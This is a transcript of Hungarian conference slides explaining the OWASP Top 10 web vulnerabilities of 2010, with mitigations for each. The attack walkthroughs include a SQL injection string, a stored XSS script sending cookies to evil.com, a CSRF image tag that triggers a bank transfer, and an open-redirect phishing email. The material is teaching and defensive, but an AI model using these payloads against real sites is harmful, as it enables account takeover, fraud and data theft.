YOU ARE DOWNLOADING DOCUMENT

Please tick the box to continue:

Transcript
Page 1: OWASP TOP10

OWASP TOP10Azaz a 10 legkritikusabb hiba web-alkalmazásokban

2012. November 28.

Page 2: OWASP TOP10

Bemutatkozás

• Prém Dániel

Tanszéki mérnök az Óbudai Egyetemen.Az iSec Newton Security csoport egyik vezetője.

[email protected]

Page 3: OWASP TOP10

A TOP10 bemutatása

A projekt célja, hogy összegyűjtse egy dokumentumba a webes alkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát és ezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabb programkódot készíthessenek.

Az első lista 2003-ban látott napvilágot, majd frissítették 2004-ben, a következő kiadás 2007-ben debütált és a jelenlegi utolsó verzió 2010. április 19.-én került a nyilvánosság elé.

A dokumentum eredeti nyelve angol, de lefordították francia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámi és héber nyelvre!

Page 4: OWASP TOP10

A TOP10 felhasználói

• U.S. Defense Information Systems Agency• U.S. Federal Trade Commission• Payment Card Industry (PCI) • British Telecom• Citibank• HP• IBM Global Services• Symantec• És még sokan mások…

Page 5: OWASP TOP10

A TOP10-es lista áttekintése

A1: Injection A2: Cross-Site Scripting (XSS)

A3: Broken Authentication

and Session Management

A4: Insecure Direct Object References

A5: Cross Site Request Forgery

(CSRF)

A6: Security Misconfiguration

A7: Insecure Cryptographc

Storage

A8: Failure to Restrict URL

Access

A9: Insufficient Transport Layer

Protection

A10: Unvalidated Redirects and

Forwards

https://www.owasp.org/index.php/Top_10

Page 6: OWASP TOP10

A1: Injection

• A befecskendezés lényege, hogy adatokat vagy utasításokat juttatunk be az alkalmazáson keresztül a parancsértelmezőnek

• SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb…• Sajnos a mai napig igen elterjedt (főleg az SQL Injection)

azonban elég egyszerűen elkerülhető lenne megfelelő odafigyeléssel

• Az elmúlt években olyan szervezetek estek áldozatul ennek a támadási formának mint a Sony, LinkedIn, eHarmony és a Yahoo

Page 7: OWASP TOP10

A1: Injection

1. Hacker Hanry betölti az oldalt

2. Majd a támadást az űrlapba beírja és beküldi a szerverre

3. Az alkalmazás felépíti az SQL lekérdezést és továbbítja az adatbázis felé

SELECT * FROM `users` WHERE `name` = '' OR 1=1 --'

AND `pass` = '';

4. Az adatbázis lefuttatja a módosított lekérdezést és az adatokat visszaküldi az alkalmazásnak

user #1: Kiss Béla, [email protected], … user #2: Nagy Nóra, [email protected], ……user #n: Tóth Péter, [email protected], …

5. Az alkalmazás kiadja az adatokat, jóváhagyja a hozzáférést, lefuttatja az utasításokat…

Page 8: OWASP TOP10

A1: Injection

• Javaslatok:– Alkalmazzunk megfelelő bemeneti paraméter

ellenőrzést (pl.: típus, hossz, érték, stb…)– Ahol csak tehetjük, alkalmazzunk White List alapú

ellenőrzést a bemenő adatokon– Használjunk jól bevált technikákat, mint a

Prepared Statements vagy Stored Procedures– A kiosztott adatbázis jogosultságot minimalizáljuk

• Bővebben:http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Page 9: OWASP TOP10

A2: Cross-Site Scripting (XSS)

• A támadás a felhasználók böngészőjében hajtódik végre• Lehet tárolt, tükrözött és DOM alapú• Szinte biztosan található minden web-alkalmazásban XSS

sérülékenység…• Tipikusan a felhasználói munkamenet vagy érzékeny/személyes

adatok megszerzésére használatos. De előfordul, hogy segítségével módosítják a weboldal tartamát, esetleg a látogatót átirányítják egy adathalász oldalra

• Az elmúlt időszakban olyan honlapokban találtak XSS hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com, amazon.com, microsoft.com, myspace.com

Page 10: OWASP TOP10

A2: Cross-Site Scripting (XSS)

Tárolt XSS1. Hacker Hanry betölti az oldalt

és az ártó kódját beküldi az alkalmazásnak

<script> document.write( ”<img src=’http://evil.com?q=” + document.cookie + ”’ alt=’’ />” );</script>

2. Alice betölti az alkalmazást a tárolt kóddal együtt

3. Alice böngészője lefuttatja a kódot és kiszolgáltatja az adatokat vagy módosítja a honlap szerkezét mivel a teljes DOM elérhető

4. Hacker Hanry letölti a szerverről milyen adatokat gyűjtött össze…

Page 11: OWASP TOP10

A2: Cross-Site Scripting (XSS)

• Javaslatok:– Ne használjuk fel (és ne jelenítsük meg) közvetlenül a

felhasználók által bevitt adatokat– Alkalmazzunk kimeneti kódolást (pl.: HTML entitások) minden

felhasználói adatra– Ha bejövő HTML adatot kell kezelni, akkor pedig minden

esetben meg kell tisztítani az adatokathttp://www.owasp.org/index.php/AntiSamy

• Bővebben:https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Page 12: OWASP TOP10

A3: Broken Authentication and Session Management

• Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak, hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet azonosítókat, vagy egyéb végrehajtási hibákat kihasználva megszemélyesítsenek egy felhasználót. – A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez

sokszor nem kényszerített, tehát lehallgatható– Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni

kell, hogy kinek adtuk oda, meddig érvényes, stb…– Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi

meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja személyesíteni az áldozatot

– Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy nincs megkövetelve a jelszó komplexitás

– Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető

Page 13: OWASP TOP10

A3: Broken Authentication and Session Management

1. Hacker Hanry monitorozza a hálózati forgalmat

2. Alice bejelentkezik az alkalmazásba

3. Hacker Hanry megszerezte Alice belépési adatait

1. Alice munkamenetét az oldal URL-ben adja vissza

Lehallgatás:

Munkamenet eltérítés:

2. Alice kattint egy linkre, amit egy bejegyzésben talált (pl.: http://www.evil.com)

3. Hacker Hanry letölti a napló referer tartalmát

3. Hacker Hanry megszemélyesíti Alicet a munkament birtokában

www.site.com?JSESSION=93C6A...

Page 14: OWASP TOP10

A3: Broken Authentication and Session Management

• Javaslatok:– A beléptetés legyen egyszerű, centralizált és standardizált– Ügyeljünk arra, hogy a belépési adatokat és a munkamenet

azonosítót mindig SSL csatornával védjük– Felejtsük el az automatizált sérülékenység vizsgálati eszközöket– Ellenőrizzük az SSL tanúsítvány hitelességét és érvényességét– Bizonyosodjunk meg arról, hogy a kilépés biztosan megszünteti

a munkamenetet és a benne tárolt adatokat

• Bővebben:https://www.owasp.org/index.php/Authentication_Cheat_Sheethttps://www.owasp.org/index.php/Session_Management_Cheat_Sheet

Page 15: OWASP TOP10

A4: Insecure Direct Object References

• Akkor fordul elő, amikor egy hivatkozást helyezünk el egy állományra, oldalra, könyvtárra vagy bármilyen objektumra, anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk

• Ez a téma érinti a jogosultság kezelést és az A8-as URL hozzáférés korlátozásának hiányának fejezetét

• Gyakori hiba, hogy csak azokat a tartalmakat listázzuk, amelyhez a felhasználónak joga van. Azonban a szerver oldalon amikor a konkrét kérés végrehajtódik ezt már nem ellenőrizzük újra. Így a támadó bármikor átírja az objektum hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez normál esetben nem lenne szabad

Page 16: OWASP TOP10

A4: Insecure Direct Object References

1. A felhasználó betölti a bank online felületét

2. Hacker Hanry észreveszi, hogy a saját azonosítója a 4057

3. Majd módosítja a paramétert

4. Végül Hacker Hanry megszerzi áldozata számlaösszesítőjén található információkat

https://onlinebank.com/overview? acc=4057acc=4056

Page 17: OWASP TOP10

A4: Insecure Direct Object References

• Javaslatok:– Kerüljük a Path Traversal, Local File Inclusion lehetőségét – A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát:

http://webapp.com/get?file=SecretReport.pdfhttp://webapp.com/get?file=C5LDJ28S832K

– Ellenőrizzük, hogy a paraméter megfelelő formátumú-e– Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom

elérésre– Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott

objektummal a felhasználó (pl.: olvasás, írás, törlés)

• Bővebben:https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference

Page 18: OWASP TOP10

A5: Cross-Site Request Forgery (CSRF)

• Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy egy kérést intézzen a sérülékeny alkalmazás felé

• Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi az azonosítási adatokat is, mint pl.: Authentication Header, Session ID, IP cím, Windows domain creditentials, stb…

• Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból

• Az előző két pont hatásaként a támadó olyan kéréseket indíthat a sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni

• Tipikusan arra használják, hogy átutalásokat kezdeményezzenek, esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá

Page 19: OWASP TOP10

A5: Cross-Site Request Forgery (CSRF)

1. Hacker Hanry elhelyezi az ártalmas kódot egy honlapon, amit az áldozati is látogat

2. Alice meglátogatja a sérülékeny alkalmazást, viszont nem jelentkezik ki

3. Kicsivel később Alice meglátogatja azt az oldalt, ahová Hacker Hanry beszúrta az ártalmas kódját

4. Alice böngészője értelmezi a kódot, majd egy legitimnek tűnő kérést intéz a sérülékeny alkalmazáshoz Alice nevében, amit valójában Hacker Hanry kezdeményezett…<img src=”http://mybank.com/transfer?

amount=1500&dstAcc=4057” width=”0” height=”0” />

Page 20: OWASP TOP10

A5: Cross-Site Request Forgery (CSRF)

• Javaslatok:– Használjunk token rendszert, ahol érzékeny adatok feldolgozása történik,

ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson– A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie– Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható– Űrlapok esetében a rejtett mező erősen javasolt– Minden egyes kérésnek egyedi tokenje legyen, lehetőleg lejárati idővel– Használjunk másodlagos (kétfaktoros) authentikációt az érzékeny

műveletekhez

• Bővebben:https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet

Page 21: OWASP TOP10

A6: Security Misconfiguration

• Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és jól konfigurált legyen az operációs rendszertől a web és adatbázis szerveren át a teljes alkalmazásig

• Mindezeket a beállításokat meg kell határozni, végre kell hajtani majd folyamatosan karbantartani és ellenőrizni

• Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a biztonságos konfigurációval látják el, hiszen akkor a használatba vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell megteremteni

• Nem szabad megfeledkezni hogy nem csak az OS-t és az alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat és külső modult is amelyet az alkalmazás használ

Page 22: OWASP TOP10

A6: Security Misconfiguration

Page 23: OWASP TOP10

A6: Security Misconfiguration

• Javaslatok:– Ellenőrizni kell a beállításokat minden szinten – Javasolt a Hardening Guide-ok alkalmazása– Az automatizálás ezen a ponton NAGYON HASZNOS lehet– Tartsuk napra késszen a rendszereket a javításokkal, nem csak az

operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra fordítsunk kellő figyelmet

– Elemezzük a változások biztonsági hatását

• Bővebben:https://www.owasp.org/index.php/Configurationhttps://www.owasp.org/index.php/Testing_for_configuration_management

Page 24: OWASP TOP10

A7: Insecure Cryptographic Storage

• Elmulasztjuk meghatározni az érzékeny adatokat így általában nem a kellő körültekintéssel kezeljük őket

• Valamint nem figyelünk eléggé, hogy minden előfordulási helyen megfelelően kezeljük azokat

• Ebbe a részbe beletartozik: – a gyenge titkosítás, ami miatt visszafejthető az adat– a titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került

adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül)– a hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár

néhány óra alatt visszafejthető lehet– a napló állományokba bekerült ellenőrizetlen adatok

(pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)

Page 25: OWASP TOP10

A7: Insecure Cryptographic Storage

1. Az áldozat megadja a bankkártya adatait az alkalmazásnak

2. A hibanaplózó lementi a kérés adatait a napló állományba, mivel a Fizetési Átjáró nem elérhető

3. Minden IT dolgozó számára elérhetőek a napló állományok a hibakeresés céljából

4. Egy belső munkatárs máris meglovasítja a naplóban található 4 millió kártya számot…

Page 26: OWASP TOP10

A7: Insecure Cryptographic Storage

• Javaslatok:– Azonosítsuk az érzékeny adatokat– Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek– Védjük az adatokat és folyamatokat megfelelő titkosítással vagy

kivonatolással– Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot,

mert az nem bizonyított– A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve– Készüljünk fel kulcsserére

• Bővebben:https://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage https://www.owasp.org/index.php/Guide_to_Cryptography https://www.owasp.org/index.php/Codereview-Cryptography

Page 27: OWASP TOP10

A8: Failure to Restrict URL Access

• Ez a téma kapcsolatban áll a jogosultság kezeléssel és az A4-es fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet viselte

• Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL manipulálásával

• Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a tartalom megtekintésére vagy módosítására…

Page 28: OWASP TOP10

A8: Failure to Restrict URL Access

1. A felhasználó betölti a bank online felületét

2. Hacker Hanry észreveszi, hogy felhasználó szerepkörben van

3. Majd módosítja a paramétert, ezáltal a szerepkörét

4. Végül Hacker Hanry magasabb jogkörre tesz szert, mint alapból járna neki, így több információhoz jut hozzá

https://onlinebank.com/ user /overviewadmin

Page 29: OWASP TOP10

A8: Failure to Restrict URL Access

• Javaslatok:– Minden oldalnak 3 dologra van szüksége:

• Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom)• Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést• Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs

állományokra, napló fájlokra vagy forrás állományokra irányulnak

– Alkalmazzunk White List féle megközelítést– Az automatizált eszközök itt is sokszor gyengének bizonyulnak

• Bővebben:https://www.owasp.org/index.php/Guide_to_Authorization https://www.owasp.org/index.php/Testing_for_Path_Traversal https://www.owasp.org/index.php/Forced_browsing

Page 30: OWASP TOP10

A9: Insufficient Transport Layer Protection

• Az alkalmazások gyakran nem hitelesítik vagy titkosítják az érzékeny adatokat a hálózati forgalomban, ezáltal sérül a bizalmasság és a sértetlenség

• Ha mégis, akkor előfordul, hogy gyenge algoritmusokat, érvénytelen tanúsítványokat használnak, esetleg nem megfelelően kezelik őket

• A támadó emiatt könnyűszerrel hozzáférhet olyan privát adatokhoz, mint az infrastruktúra elemei, operációs rendszer adatok, felhasználói azonosítók, bankkártya adatok, egészségügyi információk, pénzügyi adatok, stb…

• A megszerzett adatokat későbbi támadáshoz felhasználhatja, de akár a feketepiacon is eladhatja

Page 31: OWASP TOP10

A9: Insufficient Transport Layer Protection

1. A külső támadó könnyedén lehallgathatja a hálózati forgalmat és megszerezheti a belépési adatokat

2. Sok esetben csak a web szerver és a kliens közötti kapcsolat titkosított, ekkor minden gond nélkül egy belső támadó lehallgathatja az alkalmazás és a backend közötti forgalmat

Page 32: OWASP TOP10

A9: Insufficient Transport Layer Protection

• Javaslatok:– Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik– Egyenként minden üzenetet titkosítsunk– Digitálisan írjuk alá az üzeneteket– Standard algoritmusokat használjunk– Megfelelően tároljuk a kulcsokat és a tanúsítványokat– Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk

• Bővebben:https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet https://www.owasp.org/index.php/Testing_for_SSL-TLS

Page 33: OWASP TOP10

A10: Avoiding Unvalidated Redirects and Forwards

• A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják (Forward/Transfer) egy másik lapra a felhasználókat

• Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a felhasználót egy adathalász oldalra

• De akár egy továbbítás segítségével jogosulatlan tartalomhoz is hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés mechanizmusát

Page 34: OWASP TOP10

A10: Avoiding Unvalidated Redirects and Forwards

1. Hacker Hanry levelet küld az Alice céges E-mail címére

2. Alice kattint a linkre, mivel megbízik benne, hiszen jó domain névre mutat

From: [email protected]: [email protected]: Nem várt adó visszatérítés

A nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést igényelnie! A folyamat elkezdéséhez kérjük kattintson ide.

http://nav.gov.hu/ado?ev=2012&...&redirect=www.adathalasz.hu

3. Az alkalmazás nem ellenőrzi a redirect paramétert tehát szól Alice böngészőjének, hogy átirányítja a következő lapra, ami jelen esetben egy adathalász oldal

4. Alice böngészője betölti az adathalász oldalt

5. Alice megbízik az adathalász oldalban, hiszen az előbb ellenőrizte az címet és kinézete is megegyezik az eredetivel

Page 35: OWASP TOP10

A10: Avoiding Unvalidated Redirects and Forwards

• Javaslatok:– Minimalizáljuk az átirányítások számát az alkalmazásban– Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható

átirányításokat– Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük,

hogy a felhasználó jogosult-e az átirányított oldalt elérni– Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán

• Bővebben:https://www.owasp.org/index.php/Open_redirect

Page 36: OWASP TOP10

Hogyan lehet megoldani ezeket a problémákat?

• Fejlesszünk biztonságos kódot– OWASP’s Guide to Building Secure Web Applications http://

www.owasp.org/index.php/Guide– OWASP’s Application Security Verification Standard

http://www.owasp.org/index.php/ASVS – OWASP’s Enterprise Security API

http://www.owasp.org/index.php/ESAPI

• Ellenőrizzük az alkalmazást– Legyen egy szakértői csoport aki átnézi az alkalmazást– OWASP's Code Review Guide

http://www.owasp.org/index.php/Code_Review_Guide– OWASP's Testing Guide

http://www.owasp.org/index.php/Testing_Guide

Page 37: OWASP TOP10

KÖSZÖNÖM A FIGYELMET